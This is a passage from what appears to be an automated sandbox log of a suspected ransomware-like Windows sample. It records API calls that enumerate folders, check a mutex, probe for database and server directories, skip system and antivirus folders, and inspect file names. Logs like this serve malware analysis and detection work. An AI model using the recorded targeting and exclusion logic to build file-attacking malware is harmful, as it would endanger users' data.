GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.716] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.716] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.716] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.716] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.716] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.716] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.716] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.716] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da250 [0281.717] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0281.717] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.717] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.717] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.717] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.717] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.717] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.717] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.717] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.717] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.717] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.717] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.717] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.717] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.717] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.718] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.718] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.718] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.718] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.718] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.718] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.718] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.718] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.718] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.718] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.718] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.718] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.718] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.718] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.718] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.718] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.718] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.719] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.719] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.719] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.719] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.719] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.719] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.719] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.719] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.719] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.719] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.719] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.719] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.719] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.719] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.719] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.719] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.719] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.719] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.720] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.784] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.784] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.784] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.784] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.784] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.784] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.784] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.784] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.785] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.785] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.785] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.785] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.785] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.785] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.785] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.785] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.785] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.785] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.785] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.785] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.785] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.785] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.785] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.785] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.785] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.786] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.786] FindNextFileW (in: hFindFile=0x6da250, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0281.786] GetLastError () returned 0x12 [0281.786] FindClose (in: hFindFile=0x6da250 | out: hFindFile=0x6da250) returned 1 [0281.786] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0281.786] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0281.786] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0281.786] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.786] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.786] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.786] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.786] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.786] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.786] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.786] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.786] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.787] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.787] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.787] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.787] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.787] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.787] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.787] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.787] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.787] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.787] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.787] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.787] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1049", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1049") returned 1 [0281.787] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.787] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.787] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.788] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.788] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.788] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.788] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.788] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.788] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.788] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.788] GetLastError () returned 0x3 [0281.788] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0281.788] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.791] GetLastError () returned 0x2 [0281.791] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0281.791] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.791] GetLastError () returned 0x2 [0281.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0281.792] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.792] GetLastError () returned 0x2 [0281.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0281.792] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.792] GetLastError () returned 0x2 [0281.792] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0281.793] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.793] GetLastError () returned 0x2 [0281.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0281.793] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.793] GetLastError () returned 0x2 [0281.793] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0281.793] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.793] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.794] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.794] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.794] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.794] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.794] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.794] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.794] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.794] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0281.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0281.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.794] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0281.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0281.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.794] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0281.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0281.794] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.795] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0281.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f18, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0281.795] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.795] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.795] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.795] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.795] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.795] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.795] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.795] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.795] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.795] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0281.795] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0281.795] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f00, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0281.796] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1049\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1049\\") returned 0x1b [0281.796] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0281.796] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0281.797] SHGetPathFromIDListW (in: pidl=0x6e4718, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0281.799] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0281.800] IMalloc:Free (This=0x75e4d000, pv=0x6e4718) [0281.800] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0281.800] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0281.800] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.800] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.800] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.800] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.800] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.800] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.800] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.800] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.800] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.800] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da350 [0281.801] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.801] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.801] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0281.801] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.801] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.801] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.801] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.801] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.801] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.801] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.801] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.801] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.801] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.801] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0281.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, 